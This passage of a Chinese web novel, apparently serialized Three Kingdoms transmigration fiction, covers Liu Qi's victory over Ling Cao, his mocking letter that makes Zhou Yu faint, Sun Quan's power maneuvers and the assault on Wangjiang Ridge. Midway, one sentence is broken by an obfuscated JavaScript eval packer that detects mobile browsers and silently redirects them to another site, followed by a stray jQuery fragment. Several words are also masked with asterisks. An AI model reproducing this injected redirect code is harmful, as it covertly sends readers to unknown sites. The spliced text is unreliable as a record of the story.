刘琦:周郎,听说你老婆很美? 然而,周瑜不知道的是,几乎在他盘算的同时,江北刘琦大营中。 刘琦正对庞统派来的信使吩咐:“告知士元,周郎心高气傲,连番受挫,必不肯甘休。” “而水寨新立,要小心其反扑,特别是火攻。可多设暗哨,备好拦截小船,以防不测。” 庞统接到刘琦提醒时,拊掌笑道:“主公与我所见略同,真乃神机妙算!” 庞统本就对周瑜极为忌惮,在刘琦的明确提醒下,更是打起了十二分精神,提前布下了天罗地网。 是夜,江雾再起。 凌操亲率其麾下千余精锐部曲,登上了五十艘艨艟快船。 不过凌操并未急于突进,而是凭借对这片水域了如指掌的优势,指挥船队巧妙地避开主流航道,利用江心洲,芦苇荡的阴影作为掩护,如一群熟悉水性的夜鲨,无声无息地朝着荆州军新建的前沿水寨侧翼迂回靠近,整个过程,船桨入水无声,士卒屏息凝神。 可就当凌操即将发起突袭之际,尖锐的哨响划破夜空! “嗖——啪!” 火箭信号腾空,霎时间,沿岸亮起无数火光,把沿岸一片照的通明,无数**对准了来袭的船队,更有数十艘庞大楼船斗船从暗处冲出,直接切断了凌操的退路。 甘宁立于为首的快船船头,手持双戟,看着因计划败露而略显慌乱的凌操,朗声大笑:“凌校尉,别来无恙乎?那日营中一战未尽兴,今日特来续上!” 凌操见到老冤家,更是怒火中烧:“甘宁恶贼!休得猖狂!” 而凌操也知道此时,退路已断,奇袭已败,此刻唯有死战! 面对被荆州水师前后包围的绝境,凌操非但没有慌乱,反而激起了玉石俱焚的凶性。 凌操夺过鼓槌,猛擂战鼓,嘶声怒吼:“弟兄们,后路已绝,唯有向前,擒杀甘宁,方有生路!随我杀——!” 吼声未落,凌操竟弃了大船,跃上一艘轻捷走舸,亲自操桨,如离弦之箭般脱离本阵,不顾两侧射来的箭矢与试图阻拦的荆州小船,目标明确,直扑甘宁的旗舰! 凌操这是要以身为饵,行斩首之举,要么阵斩敌将以挽狂澜,要么战死沙场以全忠义! 甘宁见凌操竟如此悍不畏死地单舟突进,不惊反喜,大笑道:“好!凌操,算你是条汉子!今日便与你分个生死!” 说罢,甘宁同样命令座船迎上。 两艘战船迅速靠近,凌操在两船相撞间,奋力跃起,跳过船舷,登上甘宁的座船,随即二人在甲板上再次展开激战,刀戟相交,火星四溅。 凌操势若疯虎,知道自己今日是难以善了,便全是搏命的打法,招招皆打算与甘宁,已伤换伤。 甘宁却如水中蛟龙,双戟翻飞,以巧破力。 两人鏖战三十余回合,甘宁卖个破绽,诱得凌操全力一刀劈空,身形微滞。 甘宁抓住这转瞬即逝的机会,双戟如**出洞,一戟格开长刀,另一戟快如闪电,直刺凌操咽喉! “呃啊!”凌操一声惨叫,手中长刀脱手,难以置信地捂住喷血的脖颈,重重栽入江水之中,染红了一片水域。 主将阵亡,江东水军更是大乱,在荆州军有准备的**下,死伤惨重,只有少数船只狼狈逃回。 消息传回,周瑜还未从计谋被识破的震惊中回过神来,就又收到了凌操战死、出击所部几乎全军覆没的噩耗。 这接连的打击让周瑜眼前一黑,险些晕厥过去。 而就在这时,一名亲卫走进大帐,颤巍巍地向周瑜呈上一支箭矢,箭杆上绑着一卷绢布。 “都督……此箭……乃北岸射来,指名给您……” 周瑜展开绢布,首先映入眼帘的便是一个大大的“江夏太守印“玺印,仿佛生怕他周瑜认不出这封信的来历。 周瑜本就因损兵折将憋着火,见那方印玺后更是怒火中烧,恨不能当场将绢布丢入一旁的火盆中焚了。 不过周瑜却又强压下心中火气。 他不愿让下属看见自己失态怒吼的模样,同时也想知道刘琦究竟还敢在信里说些什么。 周瑜强压着怒火往下读,但绢布上的言辞却比刀剑更锋利,字字句句直插周瑜的心脏。 “公瑾足下:闻程普老将军殉国,琦心甚惜。” “不料公瑾竟不汲取教训,复遣凌操循旧路而来,欲行火攻之事,奈何此等伎俩,早在我与士元意料之中,聊备船只数十,静候都督前来放火。” “今凌操将军亦已追陪程公于地下,江东连失柱石,岂不痛哉?” “然足下犹自踟蹰江夏,岂非不智?昔闻江东有二乔,有沉鱼落雁之容,若夏口城破,吴侯殿前,不知可否邀二乔献舞于帐前,以慰三军?望公瑾熟思之,速退,以免他日睹故主蒙羞,徒增笑耳。” 这一刻,手中的一张盖着鲜红印玺的绢布,在周瑜眼中仿佛化作了刘琦嘲弄的嘴脸。 这已不是普通的双方将帅书信往来,而是刘琦刻意为之的、极具仪式感的羞辱——就是要明明白白地告诉他周瑜,这一切都是他刘琦亲手所为,每一步都在其算计之中! 噗——! 周瑜只觉一股腥甜直冲喉头,所有的冷静、所有的谋划在这一刻被这极致的羞辱和接连的惨败彻底击碎。 周瑜指着江北,想说什么,却一个字也发不出来,猛的喷出一口鲜血,眼前一黑,向后倒去。 “都督!?” “都督昏过去了!” 中军大帐内,顿时乱作一团。 江北,夏口城外十里,荆州军大营。 旌旗招展,营垒森严,与周瑜水寨的混乱低迷形成了鲜明对比。 中军大帐内,刘琦刚刚巡视完营防归来,卸下甲胄,正悠闲地品着一杯热茶。 刘琦望着江南方向,嘴角噙着一丝若有若无的笑意,仿佛在等待着什么。 片刻后,刘琦忽然像是想起什么有趣的事,转头看向陪同自己一块巡视的黄忠,晃了晃手中空了的茶杯,仿若闲谈般笑道:“汉升,你说……我差人送给周公瑾的那份‘薄礼’,他此刻收到没有?看了又会作何感想?” 黄忠闻言,那张饱经风霜的脸上表情顿时变得有些复杂,甚至可以说是……微妙。 黄忠可是亲眼看着刘琦写下那封信,知道绢布上的内容。 当时只觉得主公行事……颇为不循常理。 如今仗打赢了,不仅阵斩敌将,挫败敌军阴谋,竟还要特意写这样一封极尽挖苦嘲讽之事的信送过去。 这....这简直就是**还要诛心! 黄忠设身处地一想,若自己是周瑜,接连损兵折将,计谋被识破,还要被敌将如此指名道姓地侮辱主君与家眷…… 想到这,黄忠只觉得一股热血直冲顶门,头皮都有些发麻。 以自己的性子,若受此大辱,恐怕只会觉得无颜存活于世,唯有拼死一战或自戕以明志了。 良久,黄忠张了张嘴,想评价两句,却发现一时间竟不知该如何措辞。半晌,才瓮声瓮气地憋出一句:“主公……此信,怕是比万箭穿心……犹甚。” 黄忠语气里带着几分难以言喻的感慨,甚至有那么一丝不易察觉对周瑜处境的同情。 他这位主公,平日里待下宽和,智谋深远,没想到对敌之时,手段竟能……如此之“绝”。 刘琦见黄忠这般反应,不由得朗声大笑,心情似乎愈发愉悦:“哈哈哈!要的就是这个效果!素闻周郎雅量高致,心胸广阔,海内皆知但愿周郎能撑得住才好。” 刘琦笑声在帐中回荡,带着胜利者的得意,以及一丝唯有他自己才懂得,来自于穿越者的恶趣味。 黄忠站在一旁嘴角微微抽动了一下,脸上努力想挤出些附和的笑容。 但黄忠实在是跟不上刘琦那跳脱的思路,更无法从这般“诛心”之举中体会到同样的乐趣。 最终黄忠还是选择抱拳,瓮声瓮气地应和道:“主公用谋……鬼神莫测。”(主公这乐子……咱这老卒,是真领会不来啊。) ------ 与此同时,夏口城,临时吴侯行辕。 孙权端坐于主位之上,面色平静地听着斥候汇报水战失利、凌操阵亡以及周瑜吐血昏迷的消息后。 孙权碧色的眼眸深处,波澜不惊,只是放在案几之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591512|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,不自觉地微微攥紧。 特别是当听到周瑜昏迷,军政事务暂由吕范等人代理时,孙权心中那潜藏了十余日的不满与猜忌,如同烈火投油,猛地蹿升起来! 权力的滋味,一旦品尝过,便再难割舍。 想当初,兄长孙策临终,将江东基业与外事尽托于孙权,内事委于张昭,而军事大权,则全权交给了周瑜。 那时孙权初登江东之主位置,根基未稳,内有山越未平,外有强敌环伺,对周瑜这位与兄长情同手足、威名赫赫的公瑾哥,孙权那是全心依赖,甚至带着几分敬畏的。 可这十几日来,孙权坐镇夏口,名义上是江东六郡之主,可实际政务交由张昭,军权被周瑜牢牢掌握在手中。 大军每一道军令,每一次调兵,皆出自周瑜的中军大帐。 孙权这位吴侯,更多的时候,更像是一个象征,一个需要被保护和汇报的对象。 起初,孙权还能以大局为重,强压下心中那丝若有若无的被架空感,告诫自己要信任公瑾,倚仗公瑾。 他孙权,并非不是不能容人之主。 但随后接连的失利像一盆盆冷水,浇灭了孙权对周瑜的信任! 甘宁百骑劫营,焚毁粮草,周瑜未能阻止。 石阳戍失守,程普老将军战死,周瑜未能及时救援,致使刘琦大军兵临城下。 如今,精心策划的反击,不仅被刘琦识破,更是损兵折将,将凌操也搭了进去,连周瑜自己都气昏过去! 这一切,都让孙权内心深处的不满越来越难以压制。 “这就是兄长托付的,可保我江东无恙的统帅吗?” 一个声音在孙权心底响起。 孙权看着堂下因周瑜昏迷而显得有些惶恐的城内将校,一时间一种前所未有的冲动在孙权心中滋生、蔓延——他想要亲自执掌大军! 孙权想要让所有人看到,他孙权,不仅仅是继承父兄基业的幸运儿。 他体内流淌着的,同样是和兄长孙策一样是“江东猛虎”孙坚的后裔。 父亲当年以勇武闻名天下,兄长更是凭手中长矛打下这江东六郡! 那他孙权,为何就不能亲自指挥大军,击败那个可恶的刘琦,打出属于自己的赫赫威名? 这个念头一旦产生,孙权就再也无法遏制。 孙权对周瑜的信任,在接连的败绩和自身权力欲望的膨胀下,正迅速消磨。 孙权甚至开始觉得,周瑜的存在,本身就成了他真正掌握军权、树立威望的最大障碍。 “公瑾抱恙,需静心休养,不宜再为琐事劳神。” 孙权缓缓开口,声音平静无波,听不出丝毫情绪: “然军情如火,不可一日无决。即日起,成立临时军议堂,由吕范、蒋钦、韩当,共同参议军机,凡有决策,需经众议,再由孤最终裁定。” 孙权锁点的三位将领皆是资历较老,且并非周瑜绝对亲信的将领 虽然心中已经有了想法,然孙权并非冲动莽撞之人,并没有立刻剥夺周瑜的兵权。 孙权深知临阵换将乃兵家大忌,此刻强敌当前,若贸然剥夺周瑜兵权,势必引发军心震荡,给刘琦可乘之机。 是以,即便要换,也要等击退刘琦,局势稳定之后,再动手清算也不迟。 而孙权也没有直接说自己要参与军事商议中,避免与周瑜发生直接冲突。 不过孙权却巧妙地改变了游戏规则。 此前,周瑜在军中威望极高,又是中护军,军事决策近乎一言而决,事后只需向他孙权通报结果便可。 如今,孙权引入多人议事,并将最终裁定权明确收归自己手中。 这样一来,决策过程从周瑜的“独断”变成了众人的“合议”,而孙权自己,则自然而然的成为了凌驾于众将之上的那个裁判。 孙权不需要立刻跳上前台与周瑜抢夺指挥权,他只需要打破周瑜一人独揽军权的局面便可。 只要人多了,声音杂了,意见需要统一了,孙权这个作为最终裁决者的君主,其权威和存在感,便会在这反复的议事与请示中,被无形地确立和强化。 (本章完) 第49章 刘琦狂笑:周郎雅量就这? 是日,夏口城,临时设立的军议堂内。 孙权端坐在原本属于兄长孙策的主位上,手指无意识地摩挲着冰凉的青铜镇纸。 孙权目光扫过堂下诸将——老成持重的黄盖、面带愤懑的韩当、神色沉稳的蒋钦,以及目光低垂、似在沉思的吕范。 如今周瑜昏迷不醒,这既是孙权掌权的绝佳时机,同样也是一份沉甸甸的压力。 水师是周瑜的基本盘,盘根错节,孙权,即便是想动也一时难以插手,加之自己确实不谙水战。 于是,孙权的目光便自然而然地望向已经兵临城下的刘琦身上。 刘琦竟敢以寡兵临我坚城,如此骄狂,于孙权而言岂非天赐良机? 若能集结所有能调动的步卒,毕其功于一役,寻得机会擒杀刘琦,到时孙权不仅能雪洗前番被刘琦屡次击败的前耻,更能一举奠定他这位新吴侯的威望,让天下所有人都看到:孙家猛虎,威势更胜往昔! “诸君,”孙权开口。 “刘琦大军压境,水陆并进,咄咄逼人。” “我军新遭挫折,公瑾又……唉。” “今日集议,便是要共商对策,诸位有何高见,尽可畅所欲言。” 孙权说完后,目光不着痕迹地扫过众将,孙权期盼着有人能站出来,提出一个大胆的方略。 一个能调动所有步卒,毕其功于一役,在陆地上彻底击溃甚至擒杀刘琦的方略。 军议堂内短暂沉默了后。 韩当猛地起身,抱拳道:“主公!末将以为,此时当主动出击!” 韩当话音刚落,堂内数十道目光齐刷刷聚向他。 韩当迎着满座目光,非但没退,反倒往前半步,手按向腰刀的刀柄,声线更沉了几分:“诸位莫急,且听我一一道来。” “那刘琦小儿,侥幸赢了几阵,就不知天高地厚!竟敢写信辱及都督,何其猖狂!这等骄兵,必疏于防备。末将愿领精兵五千,趁其不备,直捣其中军大营!” 韩当越说越激动,须发皆张:“此战若成,不但能重创敌军,更能一扫我军连日晦气!” “末将定要亲手斩下刘琦首级,悬于夏口城头,以慰程公在天之灵!” 韩当,字义公,辽西令支人,孙氏三代老臣,性情刚烈,最重颜面,连日败绩早已让他憋了一肚子火,此刻请战更是带着以死明志的决心。 孙权听得是心头一热,这正是他期待已久的主动请战。 不过孙权却强压住立即应允的冲动,因为,孙权转念一想,韩当这个夜袭之策,未免太过于直来直往了。 韩当这方略与之前凌操夜袭荆州水寨失利的手段何其相似! 而刘琦既已识破过一次夜袭,岂会毫无防备? 这分明就是个不成功便成仁的赌局,是以,在孙权看来,韩当这夜袭成功的几率实在渺茫。 是以,孙权不敢赌只能将目光看向其他人,希望他们能提出一个比较有成功率的方略。 孙权目光扫向其他将领:“不知诸位对此,又有何高见?” 孙权话落,就立马几乎同时有两人出言反对。 “主公,末将觉得韩将军此言差矣!此计万万不可!”说话的是蒋钦和吕范。 蒋钦,字公奕,九江寿春人。早年追随孙策平定江东,并非以冲阵勇力见长,而是以治军严谨、忠诚体恤闻名,是孙策信赖的统兵之将,行事向来稳健。 吕范,字子衡,汝南细阳人。吕范不仅是军中将领,更常为孙策出谋划策,处理政务,是孙策身边兼具智谋与统兵能力的亲信干吏,心思缜密,善于察言观色。 蒋钦话音刚落,韩当的眉头已拧成了疙瘩,双眼“唰”地瞪圆,厉声顶了回去:“公奕这话是何意!怎么就万万不可?” 韩当声调发沉,带着许些的烈气:“我们有夏口坚城为靠,成则挫敌,败亦能退,顶多折些兵丁——总好过缩在城里挨困!” 蒋钦被韩当这么一顶,嘴唇动了动,但终究没再出声。 蒋钦资历不如韩当,面对这位连先主都要礼让三分的三朝元老,蒋钦实在不便与当面争执太过。 是以,蒋钦只得将目光投向主位上的孙权,希望主公能明白他的苦心。 就在这僵持时刻,吕范适时开口,语气平和却字字清晰:“韩将军息怒,公奕也是一片忠心。” “然,我军新败,士气低迷,而刘琦则连战连捷,正是锐气最盛之时。彼以逸待劳,我军若仓促出击,恐难奏效。” 接着吕范顿了顿,又补充道:“刘琦此举,看似狂妄,未必不是诱敌深入之计。” 吕范这番话,既顾全了韩当的颜面,又点出了问题的关键。 吕范深知孙权此刻最需要的是一个既能保全元老面子,又能做出正确决断的理由。 是以,吕范这番话既是对韩当说的,更是说给孙权听的——为主公提供了一个体面否决此议的台阶。 可韩当哪里肯服? 堂内顿时分成了两派,争论声起。 双方各执一词,争论声渐起,连黄盖都忍不住皱眉,却一时没开口——他既理解韩当的愤懑,也认同吕范的稳妥。 孙权听着双方的唇枪舌剑,内心在天人交战。 孙权内心自然倾向于韩当,渴望通过一场军事胜利能奠定他的威名。 但孙权更清楚,蒋钦、吕范代表的是军中更广泛的声音,他们的理由也更充分、更稳妥。 自己若强行支持韩当,成功了固然能威望暴涨,可一旦失败呢? 他这个新任吴侯,本就在一些老臣眼中显得稚嫩,届时权威必将扫地,再难服众。 这冒险,赌注太大了。 孙权经过权衡利弊后,孙权抬手,止住了众人的争论。 “韩将军忠勇可嘉,锐气可佩!欲主动求战,提振士气,此心可鉴。” 孙权先是肯定了韩当,随即话锋一转,目光扫过蒋钦、吕范及其支持者,语气沉稳而坚定,“然,蒋钦、吕范二位将军所言,思虑更为周详,顾虑更为周全,深合稳守待机之要义。” “当下局势,我军确应以稳固防线、抚慰士卒为第一要务。出击之事,容后再议。” 孙权做出了最稳妥,也最符合他当下**利益的选择。 韩当脸上闪过一丝不甘,但见主公语气决断,且多数将领面露赞同,也只能抱拳称是。 通过这次裁决,孙权虽然没有达成出击的目的,却成功地向所有人展示了其作为主君的决断力,以及善于纳谏、不搞一言堂的**形象。 会议在略显沉闷的气氛中结束。 是夜,月色朦胧。 吕范悄悄的来到孙权的书房求见。 吕范何等精明,白日会议时便看出孙权内心是倾向于韩当主动出击的。 作为新任君主,渴望用军功快速树立威望,这是再正常不过的想法,吕范完全理解。 但也正因如此,吕范才必须深夜前来。 吕范不能让主公一直怀着这种用军功快速树立威望的侥幸心理,这对于一个需要统筹全局、着眼长远的统治者而言,是极其危险的倾向。 “主公,”吕范屏退左右,低声道,“日间会议,范观主公神色,知主公非不欲战,实乃慎战也。主公能隐忍决断,实乃江东之福。” 孙权抬眼看了看他,没有否认,只是叹了口气:“知我者,子衡也。只是……心中终有不甘。” 吕范要的就是这句话。 “主公。”吕范开门见山,“有些话白日会议时不便明说。” “江夏一战,我军已折损太多,伯符主公万余精锐在津乡几乎全军覆没,凌操五千庐江兵夜袭失利,十不存一;加上各处援军,累计已投入三万余众。” 吕范沉声道:“如今除去潘璋新到的五千人,夏口陆师已不足五千。” 吕范最后语重心长道:“这些皆是江东根基,老臣恳请主公,用兵务必慎之又慎,望主公明鉴。” 孙权连连点头:“子衡之言,字字珠玑,孤铭记在心。” 孙权嘴上应得恳切,心中却另有一番盘算。 但眼下周瑜昏迷,正是他独掌大权的天赐良机。 待吕范退走后。 “刘琦...”孙权喃喃自语,“且让你再得意几日,待我寻得良机,定要你付出代价。” 与此同时,夏口城外的刘琦大营。 刘琦巡营归来 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“既然他们按兵不动......” 刘琦目光锐利,“那咱们就给他们创造个出手的由头。一来试探虚实,二来若真是周瑜不能理事,如今主事之人见我军‘松懈’,或许会按捺不住。” 接下来的几日,刘琦大营外果然呈现出一派“松懈“景象。 新收编各世家或者黄祖旧部的部曲在营前操练时队形散漫,甚至不时有士卒在营门处嬉闹。 然而暗地里,一队队精锐探子悄然出动,有的扮作渔夫沿江查探,有的趁着夜色潜行,试图潜伏进夏口城。 三日过去,斥候陆续回报:夏口城防严密,水寨戒备森严,不过倒是有一名胆大心细的斥候,凭借高超的潜行技艺,趁夜摸到靠近水寨的江岸,隐约听到守夜兵卒的低语,提到了“都督未醒”“忧心”等只言片语。 当这些信息碎片汇集到刘琦案头后。 “都督未醒....” 刘琦的手指在“都督未醒”那几个字上轻轻敲击着。 刘琦先是思索。 但很快刘琦嘴角便难以自抑的微微上扬,最终化作一声充满了玩味的轻笑。 “呵...原来如此。” 刘琦摇了摇头,仿佛听到了一个荒诞的笑话般: “我道那周郎为何能忍下如此‘厚礼’,原来是根本未曾收到——或者说,收到了,却气急攻心,直接晕过去了?” 刘琦想象着那个场景:素来雅量高致、风度翩翩的江东美周郎,可能是在病榻上,也可能是在军议中,看到他那封极尽嘲讽挖苦之能事的书信,然后...然后就被生生气晕过去了。 这画面实在太美,让刘琦几乎要笑出声来。 “周瑜啊周瑜,” 刘琦对着空气,仿佛在与周瑜那位素未谋面却数次交手的对手说道: “世人皆赞你‘性度恢廓’,‘雅量高致’,如今看来,你这‘雅量’也不过如此嘛。” “连这点小小‘问候’都承受不住,心理素质有待提高啊。” 刘琦摸了摸下巴,语气里带着一丝遗憾的调侃:“我这还没真正发力呢,不过是小试牛刀,发挥了我家乡‘**’之力的百分之一而已。你若这就倒了,后面的‘精彩节目’,我可找谁演去?” 一旁的王朗听得云里雾里,他只看到主公对着情报发笑,还说什么“**”“百分之一”,全然不解其意。 不过,王郎见刘琦心情颇佳,便也陪着笑道:“主公,看来那周瑜徒有虚名,被主公一纸书信便气得卧床不起,实乃庸才!” 刘琦闻言,收敛了些许笑容,摆了摆手:“不然。周瑜之才,毋庸置疑。” “但正因其才华横溢,心高气傲,故而受不得半分折辱。” “我那封信,若是送给一个皮厚心黑之人,恐怕如同石沉大海,毫无作用。” “也唯有对周瑜这等自恃风雅、看重颜面之人,方能起到奇效。这非他庸才,而是恰好击中其要害罢了。” (本章完) 第50章 刘琦妙计破江东,断其耳目! 刘琦脸上的玩味笑容渐渐敛去,“如此一来,我之前的种种‘表演’,怕是抛给瞎子看了。” 刘琦缓缓站起身,踱步到帐中悬挂的江夏舆图前,目光深沉。 “孙权此人,性格隐忍,非其兄孙策那般锐意进取。” “如今周瑜这定海神针倒下,他初掌大权,内部尚未理顺,首要之务必是求稳,绝不敢行险蹈隙。” 王朗侍立一旁,见状问道:“主公,既然周瑜昏迷,孙权怯懦,必不敢出,那我军先前示弱诱敌之策,是否……” “撤销吧。” 刘琦摆手,打断王朗。 这孙权论隐忍功夫,恐怕只有十来年后那位鹰视狼顾的司马仲达能胜他一筹。 为了荆州,孙权连大魏吴王的**名号都能咽下,又怎会中我这粗浅的激将法? 再演下去,非但徒耗精力,只怕稍露破绽,反会被他窥出虚实。 到时就不是我钓鱼,而是鱼要咬钩了。 “传令诸将,即刻至中军大帐议事!” “诺!” 帐外的亲兵迅速应道。 片刻之后,刘琦中军大帐内火把通明,黄忠、王朗,以及略显局促、站在稍后位置的降将宋廉,齐聚帐内。 刘琦的目光在宋廉身上微微停顿了一瞬。 这几日下来,刘琦并非只盯着夏口城,也对麾下将领,尤其是新附的宋廉多有观察。 起初在破石阳戍时,见其献关而降,而且麾下军纪略显散漫,宋廉本人也无甚惊人言论,刘琦内心确曾将其归为庸碌之辈,甚至暗忖是个靠家族部曲混军功的草包。 (若是宋廉知道刘琦心中所想的话,定然破口大骂:NTMD,什么军纪略显散漫还不是你搞的,堆砌土山就是射箭雨,早上射,中午射,一天到晚射个不停,是个人都受不了啊!) 然而,近距离观察数日后,刘琦发现自己有些看走了眼。 这宋廉别的方面或许尚未凸显,但在统兵一道上,确实有几把刷子。 他麾下那两千部曲,如今被整治得服服帖帖,令行禁止,营垒布置得法,巡夜警戒一丝不苟,显示出扎实的带兵功底,而宋廉此人也一柄长手刀舞动起来水泼不进,势大力沉,显然在武艺上也下过苦功,并非绣花枕头。 综上所述,刘琦从新给宋廉修改了标签一员合格的冲将、斗将之选,做个统领数千人的偏将绰绰有余。 刘琦的目光在宋廉身上停留片刻,心中已有了决断。 此人能力可用,却因降将身份,在军中总有些格格不入,如同一个小心翼翼的“局外人”。 这并非刘琦乐见,刘琦需要的是能彻底融为一体、如臂使指的力量。 “诸位,” 刘琦开门见山,指向舆图上的夏口城,“形势明朗了。周瑜晕厥,孙权怯懦,决心死守,诱敌之策已然无用。” “当下唯有强攻夏口,已成定局!” 刘琦顿了顿,目光扫过众人,最终定格在宋廉身上。 “然,强攻之前,必先拔除其外围耳目!此地——” 刘琦的手指点在夏口城东北方向的一处山岭标记上。 那里用醒目的朱砂标注着一座山岭【望江岭】 “此地,虽距夏口城有十余里之遥,**不及,石砲难至,对城内确实构不成直接威胁。但是——” 刘琦语气一转,变得无比严肃:“此山高耸,视野极佳!天气晴朗之时,立于山巅,可俯瞰整个夏口城区、江面水寨,乃至我军营垒动向,几乎一览无余!” “孙策在时,便在此设立了哨所,常驻数百精锐,以为夏口之耳目。” “有此山在,我军任何大规模调动,都难逃其监视,欲破夏口,必先夺此山,断其外眼!” “宋廉听令!” 刘琦声音陡然提高。 宋廉身躯微微一震,似乎有些意外刘琦首先点他的将,但身子却立刻踏前一步,抱拳躬身:“末将在!” 宋廉声音中带着一丝被重任突然砸中的紧张。 “着你率领本部两千兵马,即刻准备,明日拂晓之前,对望江岭发起突袭!” 刘琦看着宋濂,语气沉凝而信任,“你本部人马久经战阵,兵精将勇,攻打此岭数百守军,兵力、战力皆绰绰有余!” “此战,许胜不许败!我要你在明日午时之前,将我军旗帜,插上望江岭之巅!” 刘琦的目光带着深意,既是交付重任,也是给宋廉一个机会。 “此战,乃是我军强攻夏口之首战,其意义,非比寻常。宋校尉,莫要让我失望,也莫要让荆州军的同袍们失望。” 宋廉本就是江东校尉,是以投降后,刘琦便继续让其担任校尉一职。 刘琦这番话,彻底点燃了宋廉。 宋廉瞬间明白了刘琦的用意——这不仅是命令,更是给他一个正名立威、打破隔阂、真正融入荆州军的机会! 宋廉猛地挺直腰板,一股难以言喻的热流在胸中翻涌、激荡! “主公……竟将首战重任,交付于我!” 这突如其来的信任,像一道炽热的光,瞬间驱散了宋濂心中因降将身份而积郁的阴霾和局促。 他宋廉自归附以来,虽竭力整饬部伍,谨言慎行,但总能隐约感觉到那层无形的隔阂——荆州将校们别有含义的目光,普通士卒目光中的好奇与疏离。 知遇之恩,信任之托,莫过于此! 宋濂喉结滚动,抱拳朗声应道: “主公放心,此战必克!” “好!”刘琦赞许地点头,“去吧!整军备战,我等你的捷报!” 宋廉再次抱拳,转身大步离去。 接着,刘琦看向黄忠与王朗,沉声道:“汉升,你率本部兵马,多带旌旗鼓号,移至夏口西门外五里处,大张旗鼓,广立营寨。做出我军主力欲从此处强攻的态势。” “末将领命!”黄忠抱拳,他明白这是佯攻,为主力创造机会。 “王朗,”刘琦看向另一员部将,“你率所部精锐,秘密潜行至望江岭与夏口城之间的要道附近,寻险要处设伏。” “若夏口守军派兵援救望江岭,半道击之!若其不援,则待宋廉得手后,则与宋廉合兵一处,攻夏口北门!” “诺!”王朗慨然应允。 诸将各自领命而去,刘琦独自站在舆图前,目光深邃。 刘琦知道,攻打望江岭只是开始,真正的硬仗还在后面。 通过这一战,不仅拿下战略要点,更要锤炼将领,整合内部。 与此同时,宋廉回到本部军营,立刻召集麾下军侯、屯长。 宋廉目光扫过这些跟随他转战多时的老部下,深吸一口气,沉声开口:“刚从中军大帐归来,主公已颁下军令!” “着我部,于明日拂晓之前,对东北望江岭发起突袭!限明日午时之前,务必攻克此岭,焚其烽燧,**军旗!” “主公将首战重任交予我等,此乃我部正名之时!” “胜,则我等便是荆州军堂堂正正之功臣,在主公面前,在黄老将军、王校尉他们面前,都能挺直腰杆!” “败,则万事皆休!你我将永远抬不起头来!” “此战,有进无退,许胜不许败!” “愿随校尉死战!扬我军威!先登夺旗!”众军官被宋濂激昂的情绪感染,齐声低吼,战意瞬间飙升到顶点。 “好!”宋廉不再多言,快步走到临时绘制的望江岭简图前,开始具体部署…… 是夜,月隐星稀。 宋廉所部两千人马,人衔枚,马裹蹄,悄无声息地潜行至望江岭下。 为了一战而下,宋濂派遣出他麾下最为精锐的部曲为前锋,趁夜色掩护,清除岭下哨卡、拒马,开辟通路。 次日,拂晓时分,天色微明,岭上江东军哨所营寨如同沉睡的巨兽,只有零星火把摇曳。 当宋濂所部悄无声息地解决了数个外围哨卡,清除了障碍。 “儿郎们,随我杀!”宋廉身先士卒,手持长手刀,如同猛虎下山,率先冲向营寨正门。 “敌袭!敌袭!”岭上江东军顿时一片混乱,惊呼声、惨叫声此起彼伏。 岭上的江东守军虽被突袭打懵,但毕竟是孙策留下的老兵,很快 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“主公,刘琦此举,意在断我外眼,下一步必是猛攻城池!”吕范忧心忡忡。 “末将请战!”一个洪亮甚至带着几分怒气的声音在堂下响起,正是憋了一肚子火的韩当。 韩当本就对一味死守的策略不满,此刻见望江岭轻易丢失,心中更是按捺不住:“主公!望江岭一失,我军如同瞎子般!” “刘琦下一步必定猛攻!若再一味死守,坐视其从容布置,我夏口便是瓮中之鳖,只有死路一条啊!请主公许末将出城,挫其锐气!” 孙权看着激动的韩当,心中亦是烦躁不已。 “又是请战!除了正面硬冲,你韩义公还能不能拿出点别的?”孙权几乎要在内心咆哮。 孙权何尝不想打?孙权比谁都渴望用一场酣畅淋漓的胜利来稳固自己的地位,来证明自己丝毫不逊于兄长! 韩当这嗷嗷叫的请战声,每一次都像钩子一样,把孙权心底那份渴望勾起来,却又每次都让孙权陷入更深的纠结。 因为韩当拿不出任何像样的计谋! 永远是那套“末将愿领精兵,出城破敌”、“直捣中军”、“斩将夺旗”的说辞。 “你让我支持你,你倒是给我一个能说服吕范、蒋钦,能让我自己安心的理由啊!”孙权看着韩当那因激动而涨红的脸,心中只觉得一阵疲惫。 最终,所有的烦躁、渴望和无奈,都化为了孙权强自压下的一声低沉命令: “韩将军忠勇可嘉!然刘琦正盼我出城。望江岭虽失,我夏口城高池深,水寨稳固,尚未到孤注一掷之时!” “传令各部,严守城墙,不得擅自出击!违令者,斩!” 而在城外一处可俯瞰通往望江岭要道的险要山坳间,潜伏已久的王朗,也透过枝叶的间隙,看到了那道期盼已久的狼烟。 “烽火已起,宋校尉得手了!”王朗精神一振,立刻下令全军进入战斗状态,弓上弦,刀出鞘,只等夏口城的援军一头撞进他精心设下的埋伏圈。 然而,时间一点点过去,从清晨到日上三竿,夏口城门依旧紧闭,别说大队援军,连个像样的探马斥候都没派出来。 王朗伏在树林中,眉头越皱越紧,身边的副将也忍不住低语:“校尉,这都快午时了,这江东军怎么一点动静都没有?” 王朗心中也是惊疑不定,各种念头飞速转动: “望江岭虽说守军不多,可也是险要之地,宋廉这家伙,一个时辰就给我拿下了?手脚未免太快了些!” “还是说……这孙权真就甘心当这缩头乌龟,连眼皮底下的钉子被拔了,都能忍气吞声,不敢派一兵一卒?” 王朗精心设下的埋伏,全然做了无用功。 “围点打援”不成,那便只能执行主公“伺机攻其北门”的军令了! “传令!放弃埋伏,与宋校尉合兵一处,合攻夏口北门!” 王朗从树林里走出,向传令兵命令道。 (本章完) 第51章 首战受挫?刘琦:给我上投石机! 王朗率部赶到夏口北门外后,他一边命令士卒砍伐树木紧急制作简易的云梯和蒙着生牛皮的粗糙盾车,同时一边安排人手勘察北门城防,心中盘算着攻城策略。 